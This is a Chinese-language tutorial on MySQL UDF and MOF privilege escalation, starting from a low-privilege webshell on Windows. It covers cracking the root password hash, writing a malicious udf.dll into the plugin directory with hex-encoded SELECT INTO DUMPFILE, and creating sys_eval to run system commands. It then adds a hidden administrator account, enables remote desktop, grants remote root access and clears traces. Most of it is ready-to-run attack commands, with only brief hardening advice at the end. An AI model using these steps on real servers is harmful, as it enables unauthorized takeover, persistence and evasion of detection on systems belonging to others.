mysql udf提权
实验环境:windows下已获得低权限的webshell(apache服务不使用phpstudy运行),mysql版本为5.5.29
如果版本号>5.1.4 上传udf的位置应该放在mysql\lib\plugin(如果不存在目录 自己新建一个),如果版本<5.1 上传udf的位置应该放在c:\windows目录或者c:\windows\windows32下,抛弃win2000等特殊情况
0x00 提权条件
1.必须是root权限(需要创建和抛弃自定义函数)
2.secure_file_priv=(必须为空,secure_file_priv为null或者为/tmp/都不行,因为它需要在指定的位置写入udf文件)
0x01 数据库密码获取
使用菜刀连接webshell,执行whoami为user的普通权限,执行net user添加用户拒绝访问,需要提权做后渗透,由于演示这里选择mysql的udf提权
该系统使用了mysql数据库,可以尝试mysql的udf提权和mof,先尝试udf,而提权需要找到数据库的密码,
获取对方的mysql数据库下的root账号密码四种方法:(①查看网站源码里面的数据库配置文件inc,conn,config,sql,commin,data等 ②爆破3306端口 ③查看数据库安装路径下的user.myd 在/data/mysql/ ④存在sql注入的情况下可以获取数据库密码hash值解密)
这里我只讲③和④,③实际情况有时候往往找不到数据库的配置文件或者被加密了,这个时候可以尝试寻找数据库的user.MYD文件,里面存的是用户的密码的hash值,获取了以后可以通过cmd5或者其他途径进行查找,它默认在mysql安装目录\data\mysql\下面,找到user.myd复制一份出来。
使用ultraEdit文本编辑器进行打开,获得hash值81F5E21E35407D884A6CD4A731AEBFB6AF209E1B,并且通过cmd5等解密网站碰撞得到明文root
④假设存在注入,数据库的账号密码信息存在mysql.user表下,通过sql语句查询即可获得hash密文拿去在线网站碰撞即可,select host,user,password from mysql.user
0x02 上传udf文件
找到了数据库的密码,可以通过远程登录数据库,phpmyadmin服务登录,webshell管理工具登录等(这里使用最后一种方式演示)
执行show variables like 'secure_file_priv'; 结果为空证明可写入
SELECT @@version%,查看数据库版本,果版本号>5.1.4 上传udf的位置应该放在mysql\lib\plugin【如果不存在目录 自己新建一个】,如果版本小于5.1 上传udf的位置应该放在c盘的windows目录下,win2000则放在C:\winnt\udf.dll 下
SHOW VARIABLES LIKE 'basedir',查看该路径下的lib\plugin目录是否存在,如果没有则创建
SHOW VARIABLES LIKE '%compile%',查看是64位还是32位的dll文件
如果没有lib和plugin文件夹,可以在webshell下直接手动创建两个文件夹,下面两句命令也可以ADS文件流形式创建两个文件夹
select 'aaa' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib::$INDEX_ALLOCATION';
select 'udfdll' into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin::$INDEX_ALLOCATION'
这里我直接把udf.dll文件上传到这个lib\plugin目录下,关于udf.dll文件在哪获取,读者可以在sqlmap或者msf里面获取,具体操作自行百度,篇章有限,我是使用sqlmap里面的文件
上传udf的另一种思路,先把dll文件上传至网站的某个目录下,使用16进制编码udf文件,将网站根目录的lib_mysqludf_sys.dll文件以转换为16进制的lib_mysqludf_sys.txt文件,再将txt里面的16进制内容通过select 0x十六进制payload into dunpfile 'xxxxx\\udf.dll'里面
select hex(load_file('C:\\phpstudy_pro\\WWW\\\lib_mysqludf_sys.dll')) into dumpfile 'C:\\phpstudy_pro\\WWW\\\lib_mysqludf_sys.txt';
select 0x.... into dumpfile 'C:\\phpstudy_pro\\Extensions\\MySQL5.5.29\\lib\\plugin\\udf.dll';
0x03 udf文件利用
create function sys_eval returns string soname 'udf.dll'; # 使用udf.dll创建恶意函数sys_eval,函数可以打开sqlmapudf.dll最下面查看,这里我们选择sys_eval即可
select sys_eval('whoami'); # 执行查看当前权限,不出意外为system
select sys_eval('net user udfadmin 123 /add && net localgroup administrators udfadmin /add') #创建一个管理员账号密码为udfadmin/123
drop function sys_eval; #销毁函数,简单痕迹清除
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1 # 开启远程桌面,登录udfadmin用户
0x04 使用udf脚本
一气呵成,直接上传到一个可读可执行的目录(这里使用暗师傅的脚本),输入账号密码,点两下鼠标完成操作
0x05 udf提权—Linux
linux环境下的UDF提权大概率仅限于靶场环境中,原因:在Linux严格的系统权限下,mysql用户或web用户无plugin目录的写入权限。
linux环境下的udf提权除利用条件外与Windows环境下完全相同,利用条件:除windows中的内容外,还需要plugin目录的写入权限。
0x06 mof提权
利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。使用MOF提权的前提是当前root账户可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下
第一种方法—上传php脚本文件(跟0x04这类大佬写好的脚本文件),输入相关信息,执行命令。提权
第二种方法—上传x.mof(普通的mof文件),使用select命令导出入到正确位置,select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof',直接net user
允许外部地址使用root用户连接sql语句—Grant all privileges on *.* to 'root'@'%' identified by 'root' with grant option;
0x07 修复建议
1.mysql配置文件中secure_file_priv项设置为NULL或非 mysql/lib/plugin目录。
2.控制目录访问权限,例如控制/lib/plugin,system32/wbem/mof等目录需要管理员权限访问或者设置为只读权限。
3.数据库用户确保正确实施最小权限原则。
0x08 遇到的一些坑
ERROR 1125 (HY000): Function 'sys_eval' already exists
提示sys_eval 函数已经存在,可能已经被利用过了,尝试直接调用函数。或者尝试将udf提权相关的利用函数进行删除后重新创建。再不行重启mysqld服务器再创建
ERROR 1126 (HY000): Can't open shared library 'udf.dll' (errno: 193 )
在进行udf提权时碰到这个错误一般是ufd文件位数选择错误,尝试另一个位数的udf文件。
Can't open shared library 'udf.dll' (errno: 5 )
至今未解决